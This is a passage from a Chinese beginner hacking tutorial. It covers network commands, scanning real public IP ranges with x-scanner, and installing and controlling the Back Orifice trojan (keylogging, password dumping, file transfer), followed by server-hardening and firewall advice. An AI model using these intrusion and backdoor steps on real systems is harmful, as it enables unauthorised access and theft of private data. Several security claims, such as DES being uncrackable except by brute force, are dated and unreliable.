               Reply from 211.100.8.87: bytes=32 time=110ms TTL=120
               Reply from 211.100.8.87: bytes=32 time=109ms TTL=120

               Ping statistics for 211.100.8.87:
               Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
               Approximate round trip times in milli-seconds:
               Minimum = 96ms, Maximum = 110ms, Average = 106ms

           从这个结果会知道服务器的NetBIOS名称是POPNET-FBZ9JDFV。另外在一般情况下还可以通过ping对方让对方返回给你的TTL值大小,粗略的判断目标主机的系统类型是Windows系列还是UNIX/Linux系列,一般情况下Windows系列的系统返回的TTL值在100-130之间,而UNIX/Linux系列的系统返回的TTL值在240-255之间,例如上面的www.abc.com返回的TTL是240,对方的系统很可能是Linux,而第二个目标的TTL是120,那么说明它使用的系统也许是Windows。
           另外ping还有很多灵活的应用,我不在这里过多的介绍,读者请另行查阅此命令相关帮助文件。
    二、net命令:
           NET命令是很多网络命令的集合,在Windows ME/NT/2000内,很多网络功能都是以net命令为开始的,通过net help可以看到这些命令的详细介绍:
           NET CONFIG 显示系统网络设置
           NET DIAG 运行MS的DIAGNOSTICS程序显示网络的DIAGNOSTIC信息
           NET HELP 显示帮助信息
           NET INIT 不通过绑定来加载协议或网卡驱动
           NET LOGOFF 断开连接的共享资源
           NET LOGON 在WORKGROUP中登陆
           NET PASSWORD 改变系统登陆密码
           NET PRINT 显示或控制打印作业及打印队列
           NET START 启动服务,或显示已启动服务的列表
           NET STOP 停止网络服务
           NET TIME 使计算机的时钟与另一台计算机或域的时间同步
           NET USE 连接计算机或断开计算机与共享资源的连接,或显示计算机的连接信息
           NET VER 显示局域网内正在使用的网络连接类型和信息
           NET VIEW 显示域列表、计算机列表或指定计算机的共享资源列表
           这些命令在Win95/98中支持的比较少,只有几个基本常见的,而在NT或者2000中又元元多于上面的介绍,不过大多数对于初学者也没有必要掌握,所以我选择了WindowsME进行介绍,其中最常用到的是NET VIEW和NET USE,通过者两个命令,学习者可以连接网络上开放了远程共享的系统,并且获得资料。这种远程共享本来是为便捷操作设计的,但是很多网络管理员忽视了它的安全性,所以造成了很多不应该共享的信息的暴露,对于学习者来说,则可以轻易获得它人电脑上的隐私资料。
           例如在控制台下输入net view //202.96.50.24则可以获得对应IP的系统共享目录,进而找到他们的共享文件,当然这需要202.96.50.24系统的确存在共享目录,具体如何找到这些存在共享的系统,我将会在后面的文章中进行介绍。
    三、telnet和ftp命令:
           这两个命令分别可以远程对系统进行telnet登陆和ftp登陆,两种登陆使用的不同的协议,分别属于两种不同的网络服务,ftp是远程文件共享服务,也就是说学习者可以将自己的资料上传、下载,但是它并没有过多的权利,无法在远程电脑上执行上传的文件;而telnet则属于远程登陆服务,也就是说可以登陆到远程系统上,并获得一个解释器权限,拥有解释器就意味着拥有了一定的权限,这种权限可能是基本的文件操作、也可能是可以控制系统的管理员权限。
    四、netstat命令:
           这个程序有助于我们了解网络的整体使用情况。它可以显示当前正在活动的网络连接的详细信息,如采用的协议类型、当前主机与远端相连主机(一个或多个)的IP地址以及它们之间的连接状态等。 使用netstat ?可以显示它的命令格式和参数说明:
           netstat [-a] [-e] [-n] [-s] [-p proto] [-r] [interval] 其中的参数说明如下:
           -a 显示所有主机的端口号;
           -e 显示以太网统计信息;
           -n 以数字表格形式显示地址和端口;
           -p proto 显示特定的协议的具体使用信息;
           -r 显示本机路由表的内容;
           -s 显示每个协议的使用状态(包括TCP、UDP、IP);
           interval 重新显示所选的状态,每次显示之间的间隔数(单位秒)。
           netstat命令的主要用途是检测本地系统开放的端口,这样做可以了解自己的系统开放了什么服务、还可以初步推断系统是否存在木马,因为常见的网络服务开放的默认端口轻易不会被木马占用,例如:用于FTP(文件传输协议)的端口是21;用于TELNET(远程登录协议)的端口是23;用于SMTP(邮件传输协议)的端口是25;用于DNS(域名服务,即域名与IP之间的转换)的端口是53;用于HTTP(超文本传输协议)的端口是80;用于POP3(电子邮件的一种接收协议)的端口是110;WINDOWS中开放的端口是139,除此以外,如果系统中还有其他陌生的到口,就可能是木马程序使用的了。通过 netstat或者netstat -a可以观察开放的端口,如果发现下面的端口,就说明已经有木马程序在系统中存在:
           31337号端口是BackOffice木马的默认端口;1999是Yai木马程序;2140或者3150都是DEEP THROAT木马使用的端口;还有NETBUS、冰河或者SUB7等木马程序都可以自定义端口,因此发现了陌生端口一定要提高警惕,使用防火墙或者查病毒软件进行检测。
    五、tracert命令:
           这个命令的功能是判定数据包到达目的主机所经过的路径、显示数据包经过的中继节点清单和到达时间。tracert命令的格式如下:
           tracert [-d] [-h maximum_hops] [-j host-list] [-w timeout] target_name
           命令行中的参数-d是要求tracert不对主机名进行解析,-h是指定搜索到目的地址的最大轮数,-j的功能是沿着主机列表释放源路由,-w用来设置超时时间间隔。
           通过tracert可以判断一个服务器是属于国内还是国际(网络服务器的物理未知不能依靠域名进行判断),根据路由路经可以判断信息从自己的系统发送到网络上,先后经过了哪些IP到大对方服务器,这就好像乘公共汽车的时候从起点出发到达终点站的时候,中途会出现很多路牌一个道理,我们清楚了自己的信息的传送路径,才能够更清晰的了解网络、对服务器进行攻击。
    六、winipcfg:
           winipcfg和ipconfig都是用来显示主机内IP协议的配置信息。只是winipcfg适用于Windows 95/98,而ipconfig适用于Windows NT。winipcfg不使用参数,直接运行它,它就会采用Windows窗口的形式显示具体信息。这些信息包括:网络适配器的物理地址、主机的IP地址、子网掩码以及默认网关等,点击其中的“其他信息”,还可以查看主机的相关信息如:主机名、DNS服务器、节点类型等。其中网络适配器的物理地址在检测网络错误时非常有用。
           ipconfig的命令格式如下:ipconfig [/? | /all | /release [adapter] | /renew [adapter]]
           其中的参数说明如下:
           使用不带参数的ipconfig命令可以得到以下信息:IP地址、子网掩码、默认网关。而使用ipconfig
           /? 显示ipconfig的格式和参数的英文说明;
           /all 显示所有的配置信息;
           /release 为指定的适配器(或全部适配器)释放IP地址(只适用于DHCP);
           /renew 为指定的适配器(或全部适配器)更新IP地址(只适用于DHCP)。
           /all,则可以得到更多的信息:主机名、DNS服务器、节点类型、网络适配器的物理地址、主机的IP地址、子网掩码以及默认网关等。

    第二节、扫描器
    一、扫描器的使用:
           这里我使用x-scanner作为介绍对象,原因是x-scanner集成了多种扫描功能于一身,它可以采用多线程方式对指定IP地址段(或独立IP地址)进行安全漏洞扫描,提供了图形界面和命令行两种操作方式,扫描内容包括:标准端口状态及端口banner信息、CGI漏洞、RPC漏洞、SQL- SERVER默认帐户、FTP弱口令,NT主机共享信息、用户信息、组信息、NT主机弱口令用户等。扫描结果保存在/log/目录中, index_*.htm为扫描结果索引文件。对于一些已知的CGI和RPC漏洞,x-scanner给出了相应的漏洞描述、利用程序及解决方案,节省了查找漏洞介绍的时间。
           首先x-scanner包括了两个运行程序:xscann.exe和xscan_gui.exe,这两个程序分别是扫描器的控制台版本和窗口版本,作为初学者可能更容易接受窗口版本的扫描软件,因为毕竟初学者使用最多的还是“应用程序”,无论运行那一个版本,他们的功能都是一样的。首先让我们运行窗口版本看看:窗口分为左右两部分,左面是进行扫描的类型,这包括前面提到的漏洞扫描、端口扫描等基本内容;另一部分是有关扫描范围的设定,xscanner可以支持对多个IP地址的扫描,也就是说使用者可以利用xscanner成批扫描多个IP地址,例如在IP地址范围内输入211.100.8.1- 211.100.8.255就会扫描整个C类的255台服务器(如果存在的话),这样黑客可以针对某一个漏洞进行搜索,找到大范围内所有存在某个漏洞的服务器。当然如果只输入一个IP地址,扫描程序将针对单独IP进行扫描。
           剩下的端口设定在前面已经介绍过,一般对于网站服务器,这个端口选取80或者8080,对于某些特殊的服务器也许还有特殊的端口号,那需要通过端口扫描进行寻找。多线程扫描是这个扫描器的一大特色,所谓多线程就是说同时在本地系统开辟多个socket连接,在同一时间内扫描多个服务器,这样做的好处是提高了扫描速度,节省时间,根据系统的资源配置高低,线程数字也可以自行设定(设定太高容易造成系统崩溃)。
           在图形界面下我们看到了程序连接地址“./xscan.exe”,这实际上就是xscanner的控制台程序,也就是说图形窗口只是将控制台扫描器的有关参数设置做了“傻瓜化”处理,程序运行真正执行的还是控制台程序。因此学习控制台是黑客所必需的,而且使用控制台模式的程序也是真正黑客喜爱的操作方式。
           现在我们进行一个简单的cgi漏洞扫描,这次演练是在控制台模式下进行的:xscan 211.100.8.87 -port
           这个命令的意思是让xscanner扫描服务器211.100.8.87的开放端口,扫描器不会对65535个端口全部进行扫描(太慢),它只会检测网络上最常用的几百个端口,而且每一个端口对应的网络服务在扫描器中都已经做过定义,从最后返回的结果很容易了解服务器运行了什么网络服务。扫描结果显示如下:
               Initialize dynamic library succeed.
               Scanning 211.100.8.87 ......
               [211.100.8.87]: Scaning port state ...
               [211.100.8.87]: Port 21 is listening!!!
               [211.100.8.87]: Port 25 is listening!!!
               [211.100.8.87]: Port 53 is listening!!!
               [211.100.8.87]: Port 79 is listening!!!
               [211.100.8.87]: Port 80 is listening!!!
               [211.100.8.87]: Port 110 is listening!!!
               [211.100.8.87]: Port 3389 is listening!!!
               [211.100.8.87]: Port scan completed, found 7.
               [211.100.8.87]: All done.
           这个结果还会同时在log目录下生成一个html文档,阅读文档可以了解发放的端口对应的服务项目。从结果中看到,这台服务器公开放了七个端口,主要有 21端口用于文件传输、80端口用于网页浏览、还有110端口用于pop3电子邮件,如此一来,我们就可以进行有关服务的漏洞扫描了。
           然后可以使用浏览看看这个服务器到底是做什么的,通过浏览发现原来这是一家报社的电子版面,这样黑客可以继续对服务器进行漏洞扫描查找服务器上是否存在perl漏洞,之后进行进一步进攻。
           漏洞扫描的道理和端口扫描基本上类似,例如我们可以通过扫描器查找61.135.50.1到61.135.50.255这255台服务器上所有开放了80 端口的服务器上是否存在漏洞,并且找到存在什么漏洞,则可以使用xscan 61.135.50.1-61.135.50.255 -cgi进行扫描,因为结果比较多,通过控制台很难阅读,这个时候xscanner会在log下生成多个html的中文说明,进行阅读这些文档比较方便。
    二、扫描器使用问题:
           载使用漏洞扫描器的过程中,学习者可能会经常遇到一些问题,这里给出有关问题产生的原因和解决办法。扫描器的使用并不是真正黑客生涯的开始,但它是学习黑客的基础,所以学习者应该多加练习,熟练掌握手中使用的扫描器,了解扫描器的工作原理和问题的解决办法。
           1、为什么我找不到扫描器报告的漏洞?
           扫描器报告服务器上存在某个存在漏洞的文件,是发送一个GET请求并接收服务器返回值来判断文件是否存在,这个返回值在HTTP的协议中有详细的说明,一般情况下“200”是文件存在,而“404”是没有找到文件,所以造成上面现象的具体原因就暴露出来了。
           造成这个问题的原因可能有两种:第一种可能性是您的扫描器版本比较低,扫描器本身存在“千年虫”问题,对于返回的信息扫描器在判断的时候,会错误的以为时间信息2000年x月x日中的200是“文件存在”标志,这样就会造成误报;
           另外一种可能性是服务器本身对“文件不存在”返回的头部信息进行了更改,如果GET申请的文件不存在,服务器会自动指向一个“没有找到页面”的文档,所以无论文件是否存在,都不会将“404”返回,而是仍然返回成功信息,这样做是为了迷惑漏洞扫描器,让攻击者不能真正判断究竟那个漏洞存在于服务器上。
           这一问题的解决办法也要分情况讨论,一般说来第一种情况比较容易解决,直接升级漏洞扫描器就可以了,对于第二种情况需要使用者对网络比较熟悉,有能力的话可以自己编写一个漏洞扫描器,自己编写的扫描器可以针对返回文件的大小进行判断,这样就可以真正确定文件是否存在,但这种方法对使用者的能力要求较高。
           2、我使用的扫描器速度和网络速度有关系嘛?
           关系不大。扫描器发送和接收的信息都很小,就算是同时发送上百个GET请求一般的电话上网用户也完全可以做得到,影响扫描器速度的主要因素是服务器的应答速度,这取决于被扫描服务器的系统运行速度。如果使用者希望提高自己的扫描速度,可以使用支持多线程的扫描器,但是因为使用者本地电脑档次问题,也不可能将线程设置到上百个,那样的话会造成本地系统瘫痪,一般使用30个线程左右比较合适。
           另外对于很多网络服务器来说,为了防止黑客的扫描行为,可能会在防火墙上设置同一IP的单位时间GET申请数量,这样做目的就是避免黑客的扫描和攻击,所以在提高本地扫描速度之前,应该先确认服务器没有相应的过滤功能之后再使用。
           3、扫描器报告给我的漏洞无法利用是什么原因?
           确切地说扫描器报告的不是“找到的漏洞”,而是找到了一个可能存在漏洞的文件,各种网络应用程序都可能存在漏洞,但是在更新版本的过程中,老版本的漏洞会被修补上,被扫描器找到的文件应该经过手工操作确认其是否是存在漏洞的版本,这可以通过阅读网络安全网站的“安全公告”获得相应知识。
           对于已经修补上漏洞的文件来说,也不代表它一定不再存有漏洞,而只能说在一定程度上没有漏洞了,也许在明天,这个新版本的文件中又会被发现还存在其他漏洞,因此这需要网络安全爱好者时刻关注安全公告。当然如果攻击者或者网络管理员对编程比较熟悉,也可以自己阅读程序并力图自己找到可能的安全隐患,很多世界著名的黑客都是不依靠他人,而是自己寻找漏洞进行攻击的。
           4、扫描器版本比较新,然而却从来没有找到过漏洞是什么原因?
           有一些扫描器专门设计了“等待时间”,经过设置可以对等待返回信息的时间进行调整,这就是说在“网络连接超时”的情况下,扫描器不会傻傻的一直等待下去。但如果你的网络速度比较慢,有可能造成扫描器没有来得及接收返回信息就被认为“超时”而越了过去继续下面的扫描,这样当然是什么也找不到啦。
           如果问题真的如此,可以将等待时间设置的长一些,或者换个ISP拨号连接。
           5、扫描器报告服务器没有提供HTTP服务?
           网络上大多数HTTP服务器和漏洞扫描器的默认端口都是80,而有少量的HTTP服务器并不是使用80端口提供服务的,在确认服务器的确开通了网站服务的情况下,可以用端口扫描器察看一下对方究竟使用什么端口进行的HTTP服务,网络上常见的端口还有8080和81。
           另外这种情况还有一种可能性,也许是使用者对扫描器的参数设置不正确造成的,很多扫描器的功能不仅仅是漏洞扫描,有可能还提供了rpc扫描、ftp默认口令扫描和NT弱口令扫描等多种功能,因此在使用每一款扫描器之前,都应该自己阅读有关的帮助说明,确保问题不是出在自己身上。
           6、扫描器使用过程中突然停止响应是为什么?
           扫描器停止响应是很正常的,有可能是因为使用者连接的线程过多,本地系统资源不足而造成系统瘫痪、也可能是因为对方服务器的响应比较慢,依次发送出去的请求被同时反送回来而造成信息阻塞、还有可能是服务器安装了比较恶毒的防火墙,一旦察觉有人扫描就发送特殊的数据报回来造成系统瘫痪……
           因此扫描器停止响应不能简单的说是为什么,也没有一个比较全面的解决方案,不过一般情况下遇到这种问题,我建议你可以更换其他扫描器、扫描另外一些服务器试试,如果问题还没有解决,就可能是因为扫描器与你所使用的系统不兼容造成的,大多数基于微软视窗的漏洞扫描器都是运行在Windows9X下的,如果是 Win2000或者NT也有可能造成扫描器无法正常工作。
           7、下载回来的扫描器里面怎么没有可执行文件?
           扫描器不一定非要是可执行的exe文件,其他例如perl、cgi脚本语言也可以编写扫描器,因此没有可执行文件的扫描器也许是运行在网络服务器上的,这种扫描器可以被植入到网络上的其它系统中,不需要使用者上网就能够24小时不停的进行大面积地址扫描,并将结果整理、分析,最后通过Email发送到指定的电子信箱中,因此这是一种比较高级的扫描器,初学者不适合使用。
           另外注意载下在扫描器的时候注意压缩报文件的扩展名,如果是tar为扩展名,那么这个扫描器是运行在Linux系统下的,这种其它操作平台的扫描器无法在视窗平台下应用,文件格式也和FAT32不一样。
           8、扫描器只报告漏洞名称,不报告具体文件怎么办?
           只要漏洞被发现,网络安全组织即会为漏洞命名,因此漏洞名称对应的文件在相当广泛的范围内都是统一的,只要知道了漏洞的名称,黑客就可以通过专门的漏洞搜索引擎进行查找,并且学习到与找到漏洞相关的详细信息。这种“漏洞搜索引擎”在网络上非常多,例如我国“绿盟”提供的全中文漏洞搜索引擎就是比较理想的一个。

    第三节、木马与后门
           现在我们来看看木马在黑客学习中的作用。首先学习者要明确木马究竟是什么,同时还要搞清楚木马的类型,并且学习一些流行的木马程序的用法,这是一个相辅相成的学习进程,当黑客利用漏洞进入服务器之后,就可以选择两条路:一、破坏系统、获得资料、显示自己;二、利用木马为自己开辟一个合法的登录账号、掌管系统、利用被入侵系统作为跳板继续攻击其他系统。
           由此看来,木马程序是为第二种情况涉及的一种可以远程控制系统的程序,根据实现木马程序的目的,可以知道这种程序应该具有以下性质:
           1、伪装性:程序将自己的服务端伪装成合法程序,并且具有诱惑力的让被攻击者执行,在程序被激活后,木马代码会在未经授权的情况下运行并装载到系统开始运行进程中;
           2、隐藏性:木马程序通病毒程序一样,不会暴露在系统进程管理器内,也不会让使用者察觉到木马的存在,它的所有动作都是伴随其他程序的运行进行的,因此在一般情况下使用者很难发现系统中木马的存在;
           3、破坏性:通过远程控制,黑客可以通过木马程序对系统中的文件进行删除、编辑操作,还可以进行诸如格式化硬盘、改变系统启动参数等恶性破坏操作;
           4、窃密性:木马程序最大的特点就是可以窥视被入侵电脑上的所有资料,这不仅包括硬盘上的文件,还包括显示器画面、使用者在操作电脑过程中在硬盘上输入的所有命令等。
           看了上面的介绍,学习者应该对木马程序的用途有了一个初步了解,并且区分清除木马程序和病毒之间的相同点和不同点,由于黑客手段的日益增多,许多新出现的黑客手段(例如 D.O.S)经常会让学习者思维混乱,但实际上这些新出现的黑客手段都是从最开始的溢出、木马演变出来的,因而对于初学者来说,并不需要急于接触过多的新技术,而是要对最基本的也是最有效的黑客技术进行深入学习。
    一、木马的原理:
           大多数木马程序的基本原理都是一样的,他们是由两个程序配合使用——被安装在入侵系统内的Server程序;另一个是对Server其控制作用的 Client程序。学习者已经了解了木马和病毒的区别,大多数Server程序不会像病毒一样主动传播,而是潜伏在一些合法程序内部,然后由目标操作者亲手将其安装到系统中,虽然这一切都是没有经过目标操作者授权的,然而从某种程度上说,这的确是在经过诱惑后目标“心甘情愿”接收木马的,当Server安装成功后,黑客就可以通过Client控制程序对Server端进行各种操作了。
           木马程序的Server端为了隐藏自己,必须在设计中做到不让自己显示到任务栏或者系统进程控制器中,同时还不会影响其他程序的正常运行,当使用者电脑处于断线状态下,Server段不会发送任何信息到预设的端口上,而会自动检测网络状态直到网络连接好,Server会通过email或者其他形式将 Server端系统资料通知Client端,同时接收Client发送出来的请求。
    二、BackOffice使用说明:
           1、BackOffice简介:
           Back Orifice(以下简称BO)是一个客户机、服务器(Client/Server)木马应用程序,其客户机程序可以用于监视、管理和使用其他网络中运行服务器程序所在的网络资源。要与BO服务器连接,基于文本或图形方式的BO客户机需要运行在微软视窗系统中。
           2、服务器端程序的安装:
           在安装BO以前,先要对有关服务器端程序进行一些参数设置:如安装后的BO文件名、监听端口、加密密码,这些设置可以使用boconfig.exe工具。在不进行上述设置的情况下,BO缺省是监听31337端口、不使用加密密码。
           配置完毕后,将BO服务端交给目标系统并想办法让服务端程序在目标系统中执行,BO就可以自动进行安装了,并且会在安装完毕删除服务端程序,这样做有助于黑客,因为黑客入侵系统并将BO服务端上传完毕后,并不用考虑有关运行和删除服务端程序的问题,只要将这个程序上传到视窗系统的startup目录中就可以了,系统会在启动的时候自动执行startup目录中的程序,BO服务端安装完毕,相关程序会驻留在系统内部,所以即便删除了服务端程序,也不会将BO 从系统中清除。安装好BO服务端之后,BO会在系统每次启动的时候自动执行,此操作既不需要黑客考虑,也不会引起使用者的注意。
           如果黑客需要远程更新BO服务端的版本,可以再一次将新版本的BO服务端上传到服务器上,然后利用手中的客户端使用Process spawn命令,BO会自动覆盖原系统中的老版本服务端程序。
           3、客户端程序的使用:
           BO客户端与服务端程序之间的信息是经过加密的UDP包,使用客户端确定目标的IP地址和端口,然后发送连接请求并验证密码,确认无误后就可以利用客户端对服务端系统进行控制了。BO的客户端程序分为图形界面和控制台界面两种操作方式,无论哪一种都可以实现其提供的所有功能。当试图进行连接的时候,控制台模式需要使用“-p”参数设置服务端程序端口。
           如果入侵系统安装了防火墙,可能会屏蔽某些常见的木马占用端口,这就需要在开始设置时改变端口为一个防火墙没有屏蔽的端口,这一步是否能成功关键取决于黑客经验的多少。
           输入对方的IP地址有两种情况:如果服务端系统拥有静态IP地址,可以在每次运行BO客户端时直接输入对方地址,并通过sweep或者ping命令进行连接申请;如果对方使用的是动态IP地址,需要在开始设置服务端时要求BO服务端在每次系统上网时将分配到的IP地址通过email方式传送到指定信箱中,然后由黑客到信箱中接收最新的服务器端系统的IP地址。
           4、常用的BO命令和说明:
           App add/appadd - 在TCP端口输出一个基于文本的应用程序。
           App del/appdel - 从监听的连接中关闭一个应用程序。
           Apps list/applist - 列出当前监听的连接中的应用程序。
           Directory create/md - 创建目录。
           Directory remove/rd - 删除目录。
           Directory list/dir - 列出文件和目录,支持使用通配符。
           Export add/shareadd - 在BO服务器上创建一个共享目录。
           Export delete/sharedel - 删除一个共享目录。
           Exports list/sharelist - 列出当前共享驱动器、目录、权限和密码等信息。
           File copy/copy - 复制文件。
           File delete/del - 删除文件。
           File find/find - 在目录中查找符合条件的文件。
           File view/view - 查看文件内容。
           HTTP Disable/httpoff - 使HTTP服务器失效。
           HTTP Enable/httpon - 使HTTP服务器有效。
           Keylog begin/keylog - 记录服务器上的键盘操作。
           Keylog end - 停止击键记录。基于文本的BO客户机使用“keylog stop”命令。
           Net connections/netlist - 列出当前接入和接出的连接。
           Net delete/netdisconnect - 断开BO服务器的一个网络资源连接。
           Net use/netconnect - 把BO服务器连接到一个网络资源。
           Net view/netview - 查看所有的网络接口、域名、服务器和可见的共享目录。
           Ping host/ping - Ping主机,返回主机名和BO版本。
           Process kill/prockill - 终止一个进程。
           Process list/proclist - 列出运行中的进程。
           Redir add/rediradd - 重定向接入的TCP连接或UDP数据包到另一个IP地址。
           Redir del/redirdel - 停止端口重定向。
           Redir list/redirlist - 列出激活的端口重定向。
           Resolve host/resolve - 解析BO服务器主机名的IP地址,主机名可能是一个Internet主机名或本地网络机器名。
           System info/info - 显示BO服务器上的系统信息,包括机器名、当前用户、CPU类型、内存容量及可用内存、Windows版本、驱动器信息。
           System lockup/lockup - 锁住BO服务器机器。
           System passwords/passes - 显示缓存中的用户密码和屏幕保护密码。
           System reboot/reboot - 关闭BO服务器主机并重启动。
           TCP file receive/tcprecv - 将BO服务器主机连接到一个特定的IP地址和端口,并保存所接收到的数据到特定文件中。
           TCP file send/tcpsend - 将BO服务器主机连接到一个特定的IP地址和端口,发送特定文件中的内容,然后断开此连接。
    三、有争议的程序:
           可以肯定木马程序是专门为黑客开发的,随着时间的推移一些功能象大的木马程序也被用来当作远程管理工具,然而这些木马程序都是“明目张胆”出现在我们面前的,另外还有一些隐藏的非常巧妙的类木马程序,他们的发现给网络带来了不小的争议,这是些正常的、无破坏性的电脑软件,而且这些软件中的大多数都是免费软件,软件作者为了获得收入,在开发软件的时候在程序中加入了收集使用者电脑信息的代码,也就是说当使用者运行这些软件的时候,软件会自动为使用者进行“注册”,将系统中的各种个人信息发送给软件作者,然后再由软件作者将这些资料出卖给第三方人员,以此赚取收入。
           这种作为免费使用软件所应该付出的回报的做法并无可厚非,但是问题出现在软件究竟从使用者电脑上获得了那些资料?如果单纯是电脑的类型、硬件配置等也还能够让人接受,但如果是关于个人信用卡或者个人email地址等隐私性问题,这种软件是否构成了木马的性质就很难说清楚了,当然这是否称得上侵犯个人隐私也还是一个悬而未决的问题。

    第四节、如何防范黑客
           黑客对服务器进行扫描是轻而易举的,一旦找到了服务器存在的问题,那么后果将是严重的。这就是说作为网络管理员应该采取不要的手段防止黑客对服务器进行扫描,本节我将谈谈如何才能让自己的服务器免遭黑客扫描。
    一、防范黑客心得体会:
           1、屏蔽可以IP地址:
           这种方式见效最快,一旦网络管理员发现了可疑的IP地址申请,可以通过防火墙屏蔽相对应的IP地址,这样黑客就无法在连接到服务器上了。但是这种方法有很多缺点,例如很多黑客都使用的动态IP,也就是说他们的IP地址会变化,一个地址被屏蔽,只要更换其他IP仍然可以进攻服务器,而且高级黑客有可能会伪造 IP地址,屏蔽的也许是正常用户的地址。
           2、过滤信息包:
           通过编写防火墙规则,可以让系统知道什么样的信息包可以进入、什么样的应该放弃,如此一来,当黑客发送有攻击性信息包的时候,在经过防火墙时,信息就会被丢弃掉,从而防止了黑客的进攻。但是这种做法仍然有它不足的地方,例如黑客可以改变攻击性代码的形态,让防火墙分辨不出信息包的真假;或者黑客干脆无休止的、大量的发送信息包,知道服务器不堪重负而造成系统崩溃。
           3、修改系统协议:
           对于漏洞扫描,系统管理员可以修改服务器的相应协议,例如漏洞扫描是根据对文件的申请返回值对文件存在进行判断的,这个数值如果是200则表示文件存在于服务器上,如果是404则表明服务器没有找到相应的文件,但是管理员如果修改了返回数值、或者屏蔽404数值,那么漏洞扫描器就毫无用处了。
           4、经常升级系统版本:
           任何一个版本的系统发布之后,在短时间内都不会受到攻击,一旦其中的问题暴露出来,黑客就会蜂拥而致。因此管理员在维护系统的时候,可以经常浏览著名的安全站点,找到系统的新版本或者补丁程序进行安装,这样就可以保证系统中的漏洞在没有被黑客发现之前,就已经修补上了,从而保证了服务器的安全。
           5、及时备份重要数据:
           亡羊补牢,如果数据备份及时,即便系统遭到黑客进攻,也可以在短时间内修复,挽回不必要的经济损失。想国外很多商务网站,都会在每天晚上对系统数据进行备份,在第二天清晨,无论系统是否收到攻击,都会重新恢复数据,保证每天系统中的数据库都不会出现损坏。数据的备份最好放在其他电脑或者驱动器上,这样黑客进入服务器之后,破坏的数据只是一部分,因为无法找到数据的备份,对于服务器的损失也不会太严重。
           然而一旦受到黑客攻击,管理员不要只设法恢复损坏的数据,还要及时分析黑客的来源和攻击方法,尽快修补被黑客利用的漏洞,然后检查系统中是否被黑客安装了木马、蠕虫或者被黑客开放了某些管理员账号,尽量将黑客留下的各种蛛丝马迹和后门分析清除、清除干净,防止黑客的下一次攻击。
           6、使用加密机制传输数据:
           对于个人信用卡、密码等重要数据,在客户端与服务器之间的传送,应该仙经过加密处理在进行发送,这样做的目的是防止黑客监听、截获。对于现在网络上流行的各种加密机制,都已经出现了不同的破解方法,因此在加密的选择上应该寻找破解困难的,例如DES加密方法,这是一套没有逆向破解的加密算法,因此黑客的到了这种加密处理后的文件时,只能采取暴力破解法。个人用户只要选择了一个优秀的密码,那么黑客的破解工作将会在无休止的尝试后终止。
    二、防火墙使用说明:
           1.什么是防火墙?
           防火墙的英文叫做firewall,它能够在网络与电脑之间建立一道监控屏障,保护在防火墙内部的系统不受网络黑客的攻击。逻辑上讲,防火墙既是信息分离器、限制器,也是信息分析器,它可以有效地对局域网和Internet之间的任何活动进行监控,从而保证局域网内部的安全。
           网络上最著名的软件防火墙是LockDown2000,这套软件需要经过注册才能获得完整版本,它的功能强大,小到保护个人上网用户、大到维护商务网站的运作,它都能出色的做出惊人的表现。但因为软件的注册需要一定费用,所以对个人用户来说还是选择一款免费的防火墙更现实。天网防火墙在这里就更加适合个人用户的需要了,天网防火墙个人版是一套给个人电脑使用的网络安全程序,它能够抵挡网络入侵和攻击,防止信息泄露。
           2、天网防火墙的基本功能:
           天网防火墙个人版把网络分为本地网和互联网,可以针对来自不同网络的信息,来设置不同的安全方案,以下所述的问题都是针对互联网而言的,故所有的设置都是在互联网安全级别中完成的。 怎样防止信息泄露?如果把文件共享向互联网开放,而且又不设定密码,那么别人就可以轻松的通过互联网看到您机器中的文件,如果您还允许共享可写,那别人甚至可以删除文件。你可以在个人防火墙的互联网安全级别设置中,将NETBIOS 关闭,这样别人就不能通过INTERNET访问你的共享资源了(这种设置不会影响你在局域网中的资源共享)。
           当拨号用户上网获得了分配到的IP地址之后,可以通过天网防火墙将ICMP关闭,这样黑客用PING的方法就无法确定使用者的的系统是否处于上网状态,无法直接通过IP地址获得使用者系统的信息了。
           需要指出的是:防火墙拦截的信息并不完全是攻击信息,它记录的只是系统在安全设置中所拒绝接收的数据包。在某些情况下,系统可能会收到一些正常但又被拦截的数据包,例如某些路由器会定时发出一些IGMP包等;或有些主机会定时PING出数据到本地系统确认连接仍在维持着,这个时候如果利用防火墙将ICMP 和IGMP屏蔽了,就会在安全记录中见到这些被拦截的数据包,因此这些拦截下来的数据包并不一定是黑客对系统进行攻击造成的。
           3、使用防火墙的益处:
           使用防火墙可以保护脆弱的服务,通过过滤不安全的服务,Firewall可以极大地提高网络安全和减少子网中主机的风险。例如,Firewall可以禁止NIS、NFS服务通过,同时可以拒绝源路由和ICMP重定向封包。
           另外防火墙可以控制对系统的访问权限,例如某些企业允许从外部访问企业内部的某些系统,而禁止访问另外的系统,通过防火墙对这些允许共享的系统进行设置,还可以设定内部的系统只访问外部特定的Mail Server和Web Server,保护企业内部信息的安全。
           4、防火墙的种类:
           防火墙总体上分为包过滤、应用级网关和代理服务器等三种类型:
           (1)数据包过滤
           数据包过滤(Packet Filtering)技术是在网络层对数据包进行选择,选择的依据是系统内设置的过滤逻辑,被称为访问控制表(Access Control Table)。通过检查数据流中每个数据包的源地址、目的地址、所用的端口号、协议状态等因素,或它们的组合来确定是否允许该数据包通过。数据包过滤防火墙逻辑简单,价格便宜,易于安装和使用,网络性能和透明性好,它通常安装在路由器上。路由器是内部网络与Internet连接必不可少的设备,因此在原有网络上增加这样的防火墙几乎不需要任何额外的费用。
           数据包过滤防火墙的缺点有二:一是非法访问一旦突破防火墙,即可对主机上的软件和配置漏洞进行攻击;二是数据包的源地址、目的地址以及IP的端口号都在数据包的头部,很有可能被窃听或假冒。
           (2)应用级网关
           应用级网关(Application Level Gateways)是在网络应用层上建立协议过滤和转发功能。它针对特定的网络应用服务协议使用指定的数据过滤逻辑,并在过滤的同时,对数据包进行必要的分析、登记和统计,形成报告。实际中的应用网关通常安装在专用工作站系统上。
           数据包过滤和应用网关防火墙有一个共同的特点,就是它们仅仅依靠特定的逻辑判定是否允许数据包通过。一旦满足逻辑,则防火墙内外的计算机系统建立直接联系,防火墙外部的用户便有可能直接了解防火墙内部的网络结构和运行状态,这有利于实施非法访问和攻击。
           (3)代理服务
